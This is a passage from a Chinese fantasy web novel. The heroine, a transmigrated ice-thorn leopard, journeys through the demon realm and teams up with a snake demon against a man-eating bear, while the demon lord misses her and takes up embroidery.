“云宛白,”青云也同样正式地喊出了她的名字,“千万要当心,千万要安全,千万要回来。” “这三个千万你一定记住,不然你就欠我三千万没还,到时候必须用魔晶给我。”青云忽然开始不讲道理了。 气的云宛白踹了他一屁股,潇洒地摆摆手说回来再送他一对黑眼圈。 远离了热闹的领城后,云宛白也算是真正地一个人踏上了行程。 越继续前进,魔域的疆土之大就越超出她的想象。 以前都是传送阵走天下,云宛白当真不知道魔域有这么这么大。 这一路上又跑又飞的,走了大半个月才刚好经过雨哭林,距离她另一个熟悉的经验区——魔域边缘森林,按脚程算的话差不多还要一周的时间。 对了,这飞行术算是她作弊,用的是虚实转换术来模拟飞行。 不过知道自己仍身在魔域,她就没有多少离乡的忧愁,甚至还挺有底气的。 毕竟大部分的怪都被她刷过了,根本不带怕。 走着走着,云宛白浮躁的心也渐渐平稳,她拿着地图步履不停,总算来到了魔界与妖界的交界处。 说起来,她在刚开始看到地图的时候还被吓了一跳,这和她印象中的地图完全不一样。 按常理来说,整个世界就是一颗完整的球,展开在地图上就是一个类似椭圆形的平面图。 可书中的世界完全不同,它就像是一个立方体,将整个世界从上到下分成了好几层,必须要用3D的思维来理解。 拿一座大楼来举例,以人间为地平线,那么人间就在一楼。 魔域就像是盆地,身处地下,就在-2楼。 妖界会比魔界往上走个一层,但也同样处于地下,算是-1楼。 从妖界继续走,紧接着就会遇到悬崖峭壁,整个世界像是突然断层直坠地心,而冥界就身处于这个世界的最底端,也就是-3楼。 人间再往上就是仙界,在2楼,仙界之上是神界,在3楼。 但六界并不是像大楼这样直上直下的关系,它更像不停向前延伸的台阶,一阶一阶地往上或直坠而下。 从地图上来看,整个世界凹凸不平但也泾渭分明,每一层从地形上就被分为了天然的对抗势力。 如今魔界已经吞并了地下的全部领土,并慢慢往地平线人间渗透,争取逐渐往上走,一统天下。 现如今她来到了魔界与妖界的交界处,两界明明没有结界,可再往前一步,一切景象就与魔界有着天壤之别,这样鬼斧神工的自然造景令云宛白大受震撼,怔愣在了原地。 天下之大,而她又如此渺小。 世界果真奇妙。 怀着这样的感触,云宛白大步流星地向前,正式跨入了—— 妖界。 妖界与魔界相接,地势差别虽大,但一路上遇到的危险难度和她在魔界边缘森林的历练相差无几。 只不过在踏出魔域之后,云宛白便深刻有了一种异在他乡的漂泊感,做事也谨慎了许多。 这一路虽然难度不大,但更令她提心吊胆。 不像以前,她知道只要自己扛过两三天的历练,就可以回到魔殿安心养伤修炼。 但现在,历练的结束时间被无限制拉长,什么时候能重回魔殿尚且是个未知数。 所以她必须时时刻刻保持警惕,绝不放过任何一个可能发生的危险。 因为一旦疏忽,她的小命就有可能葬送在这里。 好在多年的历练练习为她奠定了很强的生存基础,只要认真一些,安全离开妖界不成问题。 只是相较于强悍的生存能力,她的生活能力就显得弱上许多。 越往妖界深处走,整个世界就越安静孤独。 她发现自己好像有一点想回家了,回到魔界的家。但她不能让血冥看不起,当一个半途而废的家伙。 所以还是继续前行吧,争取早日到冥界,早日回家。 …… 淅淅沥沥。 兽冢岭下起了雨。 云宛白刚碰到了一头饿狠了的糜斑狼,只不过打了几个来回之后就发现,双方都没把握在短时间内战胜对方。 兽冢岭的雨很古怪,带有中毒和腐蚀的负面效果,必须尽早脱战。 一个眼神对视,善于生存的双方默契退开,而筋疲力竭的云宛白也赶紧回到栖身的山洞里躲雨。 还没来得及放松,在踏进山洞的那一刻,云宛白的毛发忽然颤栗了起来。 她瞬间意识到了危险,赶紧释放出了具有强烈致幻效果的迷雾。 这是她从化形时期提炼出来的烟雾,在历练途中被她彻底掌握,成了她的一大杀手锏。 云宛白保持高度冷静,在对方陷入眩晕效果的刹那间爪起爪落,化为一道巨大的利刃,将一头巨蟒一击毙命。 可怜那头巨蟒刚刚攒成喷射的毒液,全被云宛白用魔壶收了起来,放到了自己的储物吊坠中。 宿庚是统妖司的妖使长,对于妖界所有的生物都了如指掌。临行前,宿庚特意将统妖司多年来不断完善的《妖兽统鉴》一书的拓印本给了云宛白。 有了这本书,云宛白就能知道其他妖兽的弱点,对战起来得心应手,还更能将他们一身的宝贝都利用收集起来当战利品,等以后回了魔界送给爷爷他们。 处理完了这一切,云宛白把山洞里的血腥味除了个干净,又遮挡起了洞口并撒上驱虫粉,这才重新化为人形,坐回到了洞中的石凳上。 她有些饿了,也有些冷。 看来方才的怪雨还是侵入了她的体内,令她有些使不上力。 云宛白想拿出火折子点火取暖,却发现放在腰间的火折子还是被弄坏了,想来是和糜斑狼对战的时候被撞断的。 这是血冥为她准备的最后一个火折子。 总共有十个,但不知为何坏的格外快。 云宛白将它紧紧捏在手中,轻叹了一口气后收进吊坠。 她当 然也有火焰,可她的火焰透明冰冷,点燃后如坠冰窖。 即便后来会觉得热,但实际也是因为极致的寒冷令人混淆了温度,反倒觉得像在火炉上烤。 总归聊胜于无吧。 她现在也懒得钻火,一点都不想动弹,算了算还有大半个时辰就能解毒,不如坐着休息会儿。 云宛白托腮,听着噼里啪啦的烤火声,望着火焰周围跳出来的点点冰晶出神。 她没有去意识空间,任由思维发散。只是在放空的这一瞬,她脑海里第一时间蹦出的不是别人,正是血冥。 也不知道他现在在干嘛。 我不在的这段时间里,他习惯吗? 第54章 第54章小小的,好可爱 思念来的过于突然,以至于云宛白根本没有意识到自己在想什么。 记忆中浮现的那个人影,自然而然就长成了血冥的脸,而她都不觉得有半分突兀。 自打云宛白穿书到了这个世界之后,相处时间最长的人就是血冥。 可以说她对这个世界的认知,全都构建在血冥的基础之上。 所以当她离乡许久,会念起他也是极其自然的事。 就当是雏鸟情节吧。 起码云宛白忽然惊觉自己想起他的时候,也没有太多的抵触。 她坐在地上屈起双膝,双手环住了自己的小腿,下巴搁在了膝盖上。 平日里疲于奔命,也只有静下来的时候才会慢慢浮现出一种孤独。 说实话,这种孤独并不难忍受,但也会让她想起一些平日里根本不会注意到的事情。 以往不管她在哪里,血冥都会想尽办法联系她,比如记号,比如传讯石留影石等等。 她要是回的晚了,血冥唠叨的问话必将会响起,都不知用废了多少块传讯石。 但现在,一切都很安静。 安静的好像自己已经被所有人遗忘,就此流浪于这个世间。 当然,云宛白知道这个比喻有些夸张,她这次出行最讲究的就是安全,一切可能暴露行踪的手段都当避免。 无论是记号还是传讯,必须全部杜绝。 临行前她也和血冥进行过约定,不到万不得已之时她不会传讯于他,反之亦然。 所以,没有消息就是最好的消息,这是他们双方对彼此的信任。 只不过,情绪就是一种莫名其妙的东西,并不受她本人的控制。 虽然她对血冥很有信心,相信他一定不会忘了自己,但偶尔的怅然总归是有的。 下意识抬手握住胸前的吊坠,云宛白试图从中汲取一些暖意。 说起来也是到了路上之后她才发现,她和血冥之间的关系确实不对等。 血冥收藏了很多和她相关的东西,甚至还在侧殿专门理出了一块区域用于存放。 无论是她小时候用过的围兜木碗,还是她长大后买回来的丝巾钱袋,都被血冥一一珍藏了起来,放在了最显眼的巨型书架上。 可云宛白手中却没有留下任何跟血冥有关的东西,除了他送自己的这枚储物吊坠。 她根本没这个意识。 这么想来,她好像的确不如冥冥那样对她上心? 不知想到了什么,云宛白对着空气噗嗤一笑,身体也跟着回温了许多,脸色没那么苍白了。 也可能是因为随着时间流逝,她体内的毒素已逐渐解清,体力和能量自然跟了上来。 好了,今日份emo到此结束,我大女人怎能停滞不前? 云宛白的情绪来的快,去的也快。她双手拍了拍脸,让自己重新振奋起来。 按照地图的显示,最多再过三日,她就能抵达妖界的中心,距离冥界的边缘也不远了。 与其失意缅怀,倒不如化为动力勇往直前,早日完成任务回到魔界。 哎,不是她自恋,冥冥是真的豹控。 这次是她头一次这么长时间都在外面晃荡,还偏偏不能联系他。 按她的猜想,血冥估计茶不思饭不想,八成会为了转移注意力而疯狂搞事业。 所以他那边应该会比预期要更早结束,就等着她早日完成历练任务传讯团聚。 要是自己让他等太久,冥冥不会给出惩罚,但绝对会用幽怨的眼神瞅她七天。 咦~光想想就一身鸡皮疙瘩。 所以还是早点回去吧,当主子的还是得善解人意一些,不能让豹奴等太久。 云宛白嘿嘿一笑满血复活,外面的天气也跟着晴朗了起来。 她打开山洞大门出去取了些木柴,又拿出青云给的一些烤肉(储物吊坠有保鲜作用,一大袋烤肉又被她用冰刺冻了起来分批吃)无比珍惜的烤了几串。 吃饱喝足之后,她便继续踏上了旅程。 …… 魔界。 血冥正望着一处出神,也不知道乖乖现在到哪里了。 冥界虽远,但若是用他赠予乖乖的魔藤飞舟,满打满算三个月也该到了。 就算是步行,路上也不该耽搁这么久才是。 乖乖的实力他是了解的,若全力向冥界出发,根本用不了太久。 可这都过去了大半年,还是不见乖乖的音讯。虽说按照他们的约定这是件好事,起码安全上没什么大问题。 可血冥这心里始终不踏实,总有一种隐隐被牵动思绪的烦闷感。 “尊主?” “尊主?” 火灼喊了两遍都不见尊主回应,急脾气的他这才大声吼了一句:“尊主!!!” “……听到了。” 血冥兀地回神,蹙起眉头揉了揉太阳穴,重新将视线放在眼前的沙盘中,给出了自己的结论: “魔门一星大将乃族之栋梁,强行升星之法不可为。” “可尊主,仙魔大战在即,吾等愿尽全力突破,在所不惜。一名二星大将可抵十名一星大将的战力,这点您也是知晓的。”火灼苦口婆心劝说着。 血冥冷睨了他一眼,淡淡说道:“不必如此,大战之后魔界又不是不发展了,强行突破的后果你我皆知,何必做这种自毁根基的事。” “除非你觉得仙魔大战,我们魔界必输。” 这帽子扣的够狠,火灼的腿立马软了,赶紧跪在地上:“尊主!臣并非此意。仙门必败,魔界必胜!” “那就不必再商讨了。” “可魔族到现在也才蕴养出了三位三星大将,也就只有我们三门五堂的三位门主,这……” 血冥不免深吸一口气,语气稍显不耐:“保持警惕是件好事,但也没必要将仙门妖魔化。” “我看你也有些乏了,就且退下吧。” 火灼不甘,但也无可奈何。 一切还是谨听尊主的意愿。 直到火灼离开,血冥紧绷的神情这才卸了下来,眉头蹙得更深了。 虽然他清楚乖乖离开自己出去游历,才能最大程度保证她的安全。 毕竟这几个月下来,他遇到大大小小不下数十次的暗杀,若是乖乖在他身边,难免会被波及。 可从前他若有事离开魔界且无法带着乖乖随行,尚且会心思难安,像是缺了什么东西一样心里空落落的。 而这次一别就是大半年,他不仅没有重新习惯孤身一人,反而愈发的想念了。 从他眼下淡淡的青黑就能看出,他就没有一天睡过好觉。 他算过时间,原本计划在三个月内将魔界大部分的隐患拔除。可现在他做到了,乖乖却还没回来。 贸然联系乖乖反而会将她置于危险之中,血冥不会做出这样的事情。 所以眼下再怎么着急,他能做的也就只有耐心等待。 罢了,一个人想这些多少有些苦闷,不如去明都找饕餮说说话。 神思渺是见不着的,这家伙忙着应付仙门内部的矛盾,根本抽不出时间。 更何况他也已经不养他的猫儿了,跟他讲起乖乖来也没滋没味,还是和饕餮话题多些。 血冥不再犹豫,起身就向山茗阁飞去。 很快,饕餮一抬头就见到了满面愁容的血冥,对着他招了招手说:“来来来,快看看有没有你喜欢的。” 刚酝酿出来的苦水被打断,血冥也起了几分好奇心,向前踱步了过去:“这是什么东西?” 只见饕餮面前的金丝楠木长桌上摆满了各种绣品织物,他巨大的手掌拎起了一件小巧的织物,正对着他家的鹦鹉不断比划着。 “这是我让明月布庄的绣娘们为我儿赶制出来的衣物。这不是快过年了吗,新年总得有些新衣穿。” “哦,过年。”血冥点头,这是人间的习俗,他有所耳闻。 出于好奇,他也上前伸手拿起了一件毛团仔细打量。 只不过他看了半天还是没看出具体的用途,便问饕餮:“这是穿在哪儿的?” “哈哈哈哈这是小,你看,它摊在我掌心就这么小小的一块,这可真是太可爱了。” 说罢,他便小心翼翼地捏起拇指食指,拿起给他的儿子戴了上去。 他家的鹦鹉自人间诞生,又因人间灵气稀薄无法化身,哪怕被投喂过了几颗仙豆也顶多只是延年益寿,到现在仍然是一只鹦鹉的样子。 还真别说,鹦鹉在带上小之后确实显精神了。 同为“父亲”的血冥在看到这一幕之后,忍不住露出了慈祥的笑容,顿时对这些织品也升起了几分喜爱之心。 饕餮仍在感慨:“还记得我儿当年就那么一小团,一个不注意可能就会被我捏死,哎呀,当时他穿起这种小衣服更是可爱到没边……哈哈哈别啄我嘛,你现在也可爱。” 他赶紧哄他跳脚的鹦鹉儿子。 一旁的血冥也不免跟着回忆起了乖乖小时候的样子,那真像一个灰扑扑的小毛团,脑袋那么大,身体那么小。 站在他肩膀上也就那么小一点,什么重量都没有。 他不禁摇头失笑。 忽然,血冥在这堆织物当中淘出了几件明显尺寸更小的衣服,便好奇询问是不是做错尺寸了。 饕餮不好意思地抚须:“也许是我上了年纪吧,看到这些小东西真是忍不住,便让绣娘按照我儿幼时的模样多织了几件,不为别的,就为了珍藏。” 毕竟这么小的鞋子袜子,成年的鹦鹉根本穿不上,也就只能起到收藏的作用。 虽然鸡肋,但奈何饕餮就是喜欢,这一买就停不下来,从帽子围兜鞋子等等全做了好几套。 血冥听的眼睛一亮,看着那些织物瞬间挪不开眼。 他也爱收集乖乖小时候的物件,只不过他都没想到过还能再找人定制这种小东西。 局限的思维一下子被拓宽了,血冥赶紧问饕餮:“那绣娘还能织吗,我也想给乖乖做上一些。” “当然,”饕餮露出了找到同好的欣慰笑容,“你又忘了,本明月布庄的掌柜正是在下,哈哈哈哈答应你了!” 血冥欣喜,对这些小东西越看越喜欢,不过他还有个问题: “若是想让绣娘教一些针法的话,这怎么算?” “这个简单,”饕餮的笑容更真诚了,“不瞒你说,今年我也给自己定了个目标,要给我儿亲手织一件披风,怎么样,一起学?” 他早看出来了,魔尊和自己一样,也是个出类拔萃的好爹爹,有钱是一回事,亲力亲为又是另外一回事。 如此彰显父爱的事情,怎么能不做呢? 血冥咳了咳,很轻地嗯了一声。 他不由得回想起那个被乖乖嫌弃了的百宝袋,还有储物戒中又绣废了好几个的“垃圾”,心中一阵叹气。 针线活啊,当真是太难了。 第55章 第55章以身入局,报仇【营养液…… 离开了兽冢岭,又走出了一望无际的戈壁,云宛白正式进入了妖界最危险的地带——树璨谷。 这地方名字听着好听,但想要平安的闯过它,难度可谓巨大。 从《妖兽统鉴》上得知,树璨谷这里的资源是整个妖界最集中最丰富的地方。 因此即便妖界被纳入魔域,也被魔界彻底清理了一遍,树璨谷这里也仍有不少凶兽出没,为争夺资源打的你死我活。 血冥在收下妖界之后,除了把控大方向上的立场问题之外,基本不干涉他们的生存方式。 所以,树璨谷也仍保持着它最原始的自然魅力,吸引着大量凶兽在此聚集争斗。 云宛白刚进来这里的时候,就觉得有点像现实世界的亚马逊热带雨林,只不过会更加危险,也更难以预判。 摸爬滚打了将近三天,云宛白才摸清楚了这里的生存规则,接下来的日子才好过了许多。 山洞多毒虫,且容易成了被争夺的领地,云宛白在这里彻底化为豹身,借着迅猛轻盈的动作在谷中穿行,栖息在树枝之上。 在妖界行走,人形多少不太方便,只有时时刻刻保持冰棘豹的形态,她才能以最佳的状态应对危机。 除非要做精细活的时候会变回常人,比如钻木取火、烧煮食物等时候,其余时间她都保持豹身不变。 爬上树枝,有了高度优势,在观察地形和打斗情况上都会方便许多。 而且爬得越高,毒蛇攀岩而上的概率就越小。 这里的蛇个个都是巨蟒大小,喜欢居住在山洞石缝中,一般树木根本没法承重。 所以,在树上睡觉就成了云宛白的首选。 会来打扰她的只有鸟,不过对于这种自愿送上门的口粮她表示非常欢迎。 云宛白并不是不急着赶路,只是既然是成年历练,就应当要发挥出历练的作用。 作为魔界最受宠的冰棘豹,她的储物吊坠中实在是储备丰富。除了住之外,衣食行她样样都有,根本花不完。 但整个历练就只是囫囵吞枣地走个过程,这显然不是她的风格。 没有困难,那她就自己制造点困难。 比如不到万不得已就不动用吊坠中的储备粮,一切由她自行猎得。 饿了就原地捕食,渴了就喝山泉露水,必要时饮血充饥。 她能感受到野性的召唤,深刻于血脉中的狩猎本能正在不断苏醒加强。 这样的历练才能让她在回到魔界之后,拥有着脱胎换骨般的变化。 —— 天微亮,鱼肚白。 云宛白趴在树枝上睡觉,让自己保持在低功耗的状态但随时都能够满血启动。 即便在睡梦中她也开启了拟态功能,将自己的毛色与树枝树叶无限接近,将身形完全隐藏在了半人高的大片树叶当中。 难得的好觉,没什么人来打扰她,云宛白睡得有些香甜。 她梦到了自己回到魔界的那一天,统妖司前来夹道欢庆,血冥还露出了一副委屈巴拉的神情。 忽然间身份互换,她变成了人形,而血冥变成了一只豹子,扒着她的小腿幽怨地蹭着,怎么哄都哄不好。 啧啧,这么大人了还来这招,也不知道丢脸。 云宛白无奈的把血冥抱到怀里一顿揉搓。 不对啊,血冥的妖身不是豹子,他之前有说过他父亲是人族母亲是兔妖。 就算变成妖,也应该是只……小白兔? 哦我想起来了,他说过他之所以能成为魔尊,就是因为主动舍弃肉身跳入堕魔污泥,与它争夺全部的至纯魔息并将之炼化,成为了魔界第一个也是唯一一个被至纯魔息认可的魔,从此掌管魔界。 具体的过程他没多说,但他现在确实是只有魔身,没有小兔叽的形态了。 哎,真可惜啊。 要不然还能直接拎起他的耳朵吓唬他,又或者喂他吃点胡萝卜,看兔牙嚼嚼嚼。 云宛白一呼一吸睡的正沉,忽然间,林中传来了一声熊的怒吼,声音震破天际,连带着藏身的树叶都被震出了波浪,飞鸟四处惊散。 云宛白保持着趴睡的姿势,猛地睁开了眼,瞳孔瞬间竖立,发出着莹莹幽光。 她的表情很是老练,戒备提防但又不失沉稳从容,四肢躯干上分布着的漂亮肌肉一点点充血鼓起,整个人蓄势待发,却更加压下了身子紧贴在树干上。 她在听,听树心传导而来的声音,以此来判断自己要不要搅上一局。 危险与机遇往往并存,尤其在妖界这片广袤的大地上,更有着魔界见都见不到的好宝贝。 就比如《妖兽统鉴》中,宿庚爷爷根据在妖界的探索情况,顺带记录了在不同地形上生长的稀有灵植,上面写出来的功效实在令人眼红。 云宛白想过了,她不仅要趁着这次游历帮爷爷他们补充完善图鉴,更要带一些妖界的特产宝贝回去送给大家,这才不枉费自己这段时间以来吃的苦。 只要在能力范围之内,能争取到的东西她一定要争。 不瞒大家说,就在树璨谷,云宛白已经亲身体验过了一次捡漏探宝。 那时候她真的体验到了什么叫做小说主角必备的秘境奇遇,一个人坐拥宝藏的感觉实在是太爽了。 不过爽归爽,她还是得量力而行,毕竟她可没有什么万人迷系统,遇到危险会有男主男配舍命来救。 她也没有戒指老爷爷,能保她死后复活甚至还能变得更强。 她就一个能随时翻看小说的鸡肋金手指,要想保住小命还得靠她自己。 耳朵紧贴着树干,她将远处的动静收在耳中。 光从声音来判断,双方的实力似乎有些悬殊,不出意外的话战斗马上就能结束。 但越是这种一边倒的局面,弱势方搏命一击的概率就越高,极有可能造成两败俱伤而她一石二鸟的局面。 所以,值得当一次黄雀。 云宛白将尾巴送到嘴边叼起,脚步轻盈无声地逐渐靠近战场,决定上前一探究竟。 她保持着高度冷静与警惕,沿路不停的拟态变幻,还用屏息术将自己的存在感降低为零。 不是她过分小心,而是这妖界卧虎藏龙,一旦轻敌,什么样的后果都可能发生。 小心驶得万年船。 要是在这种地方阴沟里翻船,那可太得不偿失了。 秉着这样的极致小心,如果战况实在太复杂的话,云宛白甚至会把虚实体转换的功夫都用出来。 没有什么比保住小命更要紧的事。 终于,她赶到了声音来源处,借着树干隐蔽起来,只默默伸出足够一双眼睛看到他们的距离。 打斗的场面仍然激烈,她定睛一瞧,是一条蜕皮蜕了一半的白蛇与一头巨熊扭打在一起。 那条白蛇比她之前在山洞里遇到的那条巨蟒还要大,不过它通体雪白,唯有蜕皮之处泛些粉嫩。 这对于一个在现实生活中非常怕蛇的人来讲,眼前这条蛇可怕归可怕,但也算得上好看。 而另一头熊全身乌黑油亮,肆意生长的獠牙很是粗犷,他的爪子还带着倒钩,胸前更是一块块伤疤,一看就很凶煞。 谷中不停传来他们的对骂声,一边嘶嘶嘶,一边吼吼吼。 云宛白能听懂他们的妖语,再加上她吃瓜及时,几乎将前因后果听了个完整。 故事并不复杂,熊觊觎蛇的内丹,特意等蛇蜕皮虚弱之日想将其杀死,提升自己的修为。 本来云宛白并不想插手,弱肉强食的原则在妖界极为奉行,也是他们用于提高修为的正当方式之一,贸然改变战果反而容易招致祸患。 况且她又不是什么圣母,尊重每个地方独特的规则和秩序才是正解。 等熊杀了蛇之后,没准她可以趁熊不注意的时候也将其毙命,这样就能收获两枚妖丹。 回去之后就交给爷爷,看看能不能给统妖司新抱养回来的那些瘦弱小崽子们用。 不是所有的妖兽都能适应残酷的生存法则,也不是所有的妖兽都不值得救。 像她一样被灭了族的后代们有许多,随着时间的推移也变得越来越多。 统妖司每回去妖界搜寻“余孽”和寻找灵植的时候,都会带回来不少无父无母无族的小兽,从兽口中夺回来好生抚养。 至于血冥所谓的“等你长大后就来杀了我”的措辞,能最大程度的让小兽们以仇恨为滋养,逼着他们活下去。 等长大以后,小崽子自然会得知真相,就和她一样。 云宛白蠢蠢欲动,双眸逐渐变得冰冷无情,她慢慢伸出了爪子,做好随时跳出去收割他们性命的准备。 然而接下来,她改变了自己的决定。 “你凭什么有自信能杀了我?”蛇嘶嘶道,尾巴不停摩擦巨石,想要加快蜕皮的速度。 但巨熊早就看出了对方想要拖延时间的目的,一边朝它挥舞双爪,一边哈哈大笑:“杀你是很困难,可我这不是等到你蜕皮的日子了吗?” 巨熊不仅力量大,它的速度同样敏捷,伸出去的每一爪都直接抓碎了树干,将其变成了粉末。 “放心,成为我的爪下之魂是你的幸事。”巨熊杀红了眼,口水从他缭乱的牙中流下。 “不过要我说啊,还是魔族最好吃,有股木材熏烤的焦味,而你这么长一条干巴巴的,只配当我的点心。” 巨熊喜欢一边战斗输出一边语言嘲讽,很快云宛白便得知这头巨熊以嗜杀为乐趣,爱好吞噬各族生物。 他还会故意妖兽幼崽充当陷阱,专门吸引有同情心的诸多魔族仙门之士吞入腹中,再将幼崽打打牙祭。 而被他杀害的名单当中,赫然出现了一位云宛白认识的魔。 那人正是统妖司探险小队的,当年进入妖界之后离奇失踪,寻找无果后大家沉痛地为他开了哀悼会,抚恤了他的家人。 结果没想到,竟是到了这熊的肚子里。 以小兽为诱饵,勾我统妖司的妖使上钩,你这熊好大的胆子! 云宛白的怒火噌的一下燃烧起来了,此时渔翁得利已然不是她的首要目的,她必须要亲手杀了这头熊来祭奠魔界的烈士。 粗算了一下成功的可能性,云宛白觉得若是自己和蛇妖联手起来,是完全可以从正面战胜他的。 虽说耐心等待也能找到机会将熊妖毙命,但这种死法未免太便宜他了。 云宛白必须要让熊妖知道到底是谁杀了他,又到底为谁而杀了他。 她要亲自为统妖司的妖使们报仇,为那些被它吃掉了的魔族人报仇。 她不仅要杀了它,更要将它的尸体带回魔界,狠狠地挫骨扬灰。 “蛇妖,想活命吗?” 云宛白气沉丹田,屏息凝神,用密音向着蛇妖传去。 第56章 第56章配合战!你这位盟友还不…… 蛇妖恍若未闻,仍在艰苦战斗,云宛白还以为对方没听清。 正要再重复一遍的时候,蛇妖与熊妖的打斗也正好停了片刻,双方都各退一步喘息聚力,等待下一次的冲锋。 也就在这个时候,一道雌雄莫辨的声音传了回来: “你是谁?” 话语冷静,丝毫不见即将陨命的紧迫感。 光凭这一点,云宛白就断定蛇妖一定是个谋定而后动的狠角色,与它合作必然能够将熊妖正面斩杀。 云宛白再传密音:“一个想要与你合作的妖。” 话音未落,蛇妖与熊妖已再次扭打在了一起。 此时的蛇妖在来回打斗中早已将蛇皮蜕下,新生的尾尖看起来柔嫩脆弱,但它一甩尾,一排巨树的树干被拦腰斩断,树叶窸窣间轰然倒在了地上。 从云宛白的视角上来看,那一片密集的树林竟被清出了一块视野极佳的区域。 而蛇妖仍未停下,又将一树干卷起狠狠地锤向熊妖,舞的虎虎生威。 这样的蛮力与狠劲,让云宛白有些自愧不如。 “吼!!!” 然而熊妖非但不退不让,还选择直面了迎击,硬是用它防御如铁般的胸膛震碎了树干,落下满地木屑。 蛇妖的全力一击对它来说竟毫发无伤。 云宛白看得精彩,但对这熊妖的实力也倍感棘手。” 怎么合作?“蛇妖的声音又传了过来,这一次它的语气倒听起来有些虚弱。 在生死危机之际,自然也没有再试探的必要,即便有,大可以等事情成功之后再商量。 蛇妖心中清楚,这头巨熊不达目的誓不罢休,既然敢对自己出手,想必早已经做好了万全的准备。 不管那道神秘的来音究竟是谁,能助自己过了这道关,它之后定当有重谢。 熊妖还在卖弄自己的超强防御,无论蛇妖对它展开了什么样的攻击它都全盘接下,眼中的凶光更胜于前。 只要蛇妖精疲力尽,那妖丹于它而言,就是板上钉钉的大好事儿。 熊妖殊不知,就在它的眼皮子底下,两只素未谋面过的妖一拍即合,决定联手向它发起攻击。 两方以足够的诚意互相交换了真实的战力信息,云宛白这才了解到蛇妖的实力当真很强,盘踞在这树璨谷几百年之久未曾留过败绩。 只不过百年一次的蜕皮期让它大为虚弱,如今实力更是只有平日的三成。 若是在它的巅峰期,那熊妖实力还略逊于它一筹,不过熊妖狡诈,诡计极多,硬碰硬的话谁都讨不了好。 可现在天时地利人和全被对方占尽,蛇妖当真有些力不从心。 蛇妖原以为自己就将命丧于此,不料冒出了一位“好心妖”,愿助它一臂之力。 “哈哈哈哈!还有什么招式你尽管使出来,今儿你熊爷爷我心情好,全盘奉陪!”熊妖越打越畅快,仰天大笑了三声。 作为多年的老对手,它当然感受到了蛇妖的力气正在急剧下降中,眼见着胜利在望,不免有些得意忘形了起来。 想当年它还被这头蛇缠了几圈差点没命,现在还不是被它压着打? “哦?既然如此,那就别怪我不客气了。” 蛇妖冷哼,张开血盆大口冲巨熊飞速扑去,与此同时,存储在毒腺中的毒液也喷射了出来。 熊妖不敢大意,他知道蛇妖已快到极限,什么压箱底的本事都会使出来。 他迅速躲过,毒液扑了个空落在地上,迅速腐蚀了土地并冒出汩汩绿雾。 熊妖惊魂未定,还没来得及站稳就突然觉得背上一刺痛,这种疼有些像冰块冻裂了皮肤,又像被怒火烤焦了一样,紧接着鲜血狂飙。 他狠狠挨了一爪子,从未败过的铁皮功竟被破了。 熊妖痛的腿一软,发出了吃痛的怒吼声,四处搜寻:“是谁!” 云宛白落在了另一处的树枝上,居高临下地看着他:“是你姑奶奶。” “你!”熊妖愤怒仰头,死死盯着这个半路跑出来坏他好事的豹子。 云宛白面色淡然,但整个豹都升腾起了透明的火焰,爪下所站的树枝瞬间凝结出了一层厚厚的冰霜,以它为圆心的百米内,呲的一声全部被冻成了一片白。 冰雪向来无害,可在云宛白的操纵之下,这片白色顿时扭曲狰狞,连带着每一根树枝每一根树干上都结出了尖锐的冰刺,根根利刃直指熊妖! 形势此刻完全逆转。 顺带一提,云宛白目前的实力正无限接近于蛇妖的巅峰期。 “冰,棘,豹。” 熊妖眼睛微眯,嘴里咀嚼着对方的族名,旋即冷笑:“看来你是打算插手了。” 云宛白优雅地坐在树枝上,舔了舔爪子,歪过头对他斜眼笑:“凑个热闹,不过分吧?” 说罢,她身后的透明火焰更旺三分,连带着熊妖背上的伤口都更燎痛。 注意到了熊妖抽疼的表情,云宛白这才装作惊讶的样子:“原来我这冰焰竟能克制你的铜墙铁壁,真是好巧。” 这也是她在刚才的试探中碰巧得知的,自己的本命火焰竟能将他的铁皮功破甲。 这一点就连盟友蛇妖都有些意外,不禁对这联手的胜算更多了几分镇定。 熊妖并不是一个没脑子的家伙,相反,它能活到现在靠的就是智谋。 如今二打一,它对战蛇妖的胜算显然不高,尽早离去才为上策。 失了一枚蛇妖妖丹不要紧,最重要的还是保住它自己的性命。 也不知道为什么,这头豹子似乎对它的杀意格外之盛。要想脱离二妖的围剿,胜算点还得出在这头豹的身上。 理智可不是什么好事,越激动才越容易出破绽。 熊妖心思一动,停下了攻势嗤笑道:“想不到在妖界还能再见到冰棘豹的身影。” “你倒是好眼力。”云宛白慢条斯理地在林间跳跃,逐渐逼近熊妖。 她的从容不迫显得树璨谷像是她家的后花园一样温和无害。 就连熊妖也被唬了几分。 但事实上,云宛白的心里也在打鼓,只不过强装镇定罢了。 虽然本命火焰能够克制熊妖的防御,但也仅仅只是破甲,根本伤不到对方的要害。 不得不说这熊妖的皮是真够厚的,她这么大费周章地攻上一掌,震的爪子都快脱飞了,居然也只给那头熊留下了一道浅浅的皮肉伤,这防御能力不可小觑。 妖界,果真是个卧虎藏龙的地方。 双方的心理活动都很丰富,原本如火如荼的打斗停歇,眼下竟显得和平了起来。 熊妖也慢下速度来回踱步,布满血丝的红眼不停在蛇妖与云宛白身上来回扫视,比毒蛇的眼睛还要冷血可怕。 面对云宛白的话,它大笑承认:“哈哈哈哈当然!” “妖界皆知冰棘豹早已被灭族,按理说,即便你站在我面前,我也不该认出你才是。” 他顿了顿,露出了一抹不怀好意的冷笑:“你难道不好奇,我是怎么知道你的吗?” 云宛白绒耳一动,并未接话,直觉告诉她一定有诈。 但那熊妖却自顾自地往下讲:“冰棘豹一族早已离开了妖界,去往冰川隐居起来,但并非你的全部族人都离开了,也有不少冰棘豹被云纹豹族捕获,一直圈养在这片大陆上。” 这些事情云宛白并不知道,她不由得皱起眉头。 熊妖不怀好意地笑了笑:“你熊爷爷我在吃这件事情上最是挑剔了,当年我在追猎云纹豹一族的时候倒也见过你的族人,那尝起来……啧啧,冰凉清爽的口感令我难以忘怀,与云纹豹果真大不相同。” 原来这头熊妖曾经就吃过冰棘豹,因此在见到云宛白的第一眼就认了出来。 而且它一直以来都是靠吞噬同类来快速晋升,延长它的寿命,就连蛇妖在学会修炼之前就已经听说过妖界有一只横行霸道的巨熊。 谁都不知道这头熊妖到底活了多久。 听完熊妖的话后,云宛白实在难以保持冷静,顿时鹅毛大雪自天上纷纷扬扬而下,她浑身的毛发根根竖立起来,扣在树枝上的爪子也深深嵌进了树干中,发出令人胆寒的吱嘎声。 “别被他蛊惑,这是激将法。”一道声音传入了云宛白的神识中,让她从暴怒的状态中陡然惊醒。 理性的怒火和毫无章法的愤怒完全就是两回事。 在蛇妖的提醒之下,云宛白恢复了几分神智,与此同时杀心也更盛了。 不仅杀了魔族中人还吃过她的族人,这熊妖必死无疑。 